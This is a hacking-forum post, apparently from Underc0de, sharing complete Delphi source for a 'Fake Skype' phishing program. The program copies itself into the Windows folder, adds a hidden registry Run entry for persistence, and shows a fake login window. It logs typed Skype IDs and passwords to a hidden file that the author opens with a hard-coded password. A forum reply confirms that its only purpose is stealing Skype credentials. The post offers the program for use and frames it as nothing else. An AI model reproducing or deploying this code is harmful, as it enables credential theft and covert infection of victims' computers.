Underc0de - La Casa de los Informáticos

Un simple Fake de Skype , en la proxima version voy a tratar de darle mas realismo xDD.

Una imagen :

(http://doddyhackman.webcindario.com/images/skypeiamgen.jpg)

El codigo :


// Fake Skype 0.1
// Coded By Doddy H

unit fake;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, jpeg, ExtCtrls, StdCtrls, Registry;

type
  TForm1 = class(TForm)
    Image1: TImage;
    Edit1: TEdit;
    Edit2: TEdit;
    Image2: TImage;
    procedure Image2Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure Edit2Click(Sender: TObject);
    procedure Edit1Click(Sender: TObject);

  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Edit1Click(Sender: TObject);
begin
  Edit1.Text := '';
end;

procedure TForm1.Edit2Click(Sender: TObject);
begin
  Edit2.Text := '';
end;

procedure TForm1.FormCreate(Sender: TObject);

var
  nombrereal: string;
  rutareal: string;
  yalisto: string;
  her: TRegistry;

begin

  nombrereal := ExtractFileName(ParamStr(0));
  rutareal := ParamStr(0);
  yalisto := 'C:\WINDOWS\' + nombrereal;

  MoveFile(Pchar(rutareal), Pchar(yalisto));

  her := TRegistry.Create;
  her.RootKey := HKEY_LOCAL_MACHINE;

  her.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', FALSE);
  her.WriteString('uber', yalisto);
  her.Free;

  SetFileAttributes(Pchar(yalisto), FILE_ATTRIBUTE_HIDDEN);
  SetFileAttributes(Pchar('C:/windows/datos.txt'), FILE_ATTRIBUTE_HIDDEN);

end;

procedure TForm1.Image2Click(Sender: TObject);
var
  archivo: TextFile;
  ruta: string;

begin

  if (Edit1.Text = 'doddy') and (Edit2.Text = 'hackman') then
  begin
    WinExec('notepad c:/windows/datos.txt', SW_SHOW);
  end
  else
  begin

    if Edit1.Text = '' then
    begin
      ShowMessage(
        'Escribe tu Id. de Skype en este formato: tu [email protected]');
    end;
    if Edit2.Text = '' then
    begin
      ShowMessage('Escribe tu contraseña');
    end
    else
    begin
      if Edit2.Text = 'Escribe aqui tu contraseña' then
      begin
        ShowMessage('Escribe tu contraseña');
      end
      else
      begin
        ruta := 'c:/windows/datos.txt'; // mod
        if FileExists(ruta) then
        begin
          AssignFile(archivo, ruta);
          FileMode := fmOpenWrite;
          Append(archivo);
          Writeln(archivo, '[user] : ' + Edit1.Text + ' [password] : ' +
              Edit2.Text);
          CloseFile(archivo);
          Application.MessageBox(
            'Se ha producido un error , es necesario reiniciar Skype', 'Skype',
            MB_OK);
          Form1.Close;
        end
        else
        begin
          AssignFile(archivo, ruta);
          FileMode := fmOpenWrite;
          ReWrite(archivo);
          Writeln(archivo, '[user] : ' + Edit1.Text + ' [password] : ' +
              Edit2.Text);
          CloseFile(archivo);
          Application.MessageBox(
            'Se ha producido un error , es necesario reiniciar Skype', 'Skype',
            MB_OK);
          Form1.Close;
        end;
      end;
    end;
  end;

end;

end.

// The End ?


Si quieren bajarlo lo pueden hacer de aca (https://sourceforge.net/projects/fakeskype/).

Hi bro
thanks
how use this code bro ?

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Hi bro
thanks
how use this code bro ?

Read the code and you will understand how to use it. It's just a fake skype interfase. The only purpose is to log user and pass of skype accounts.
By the way, it's cool Doddy!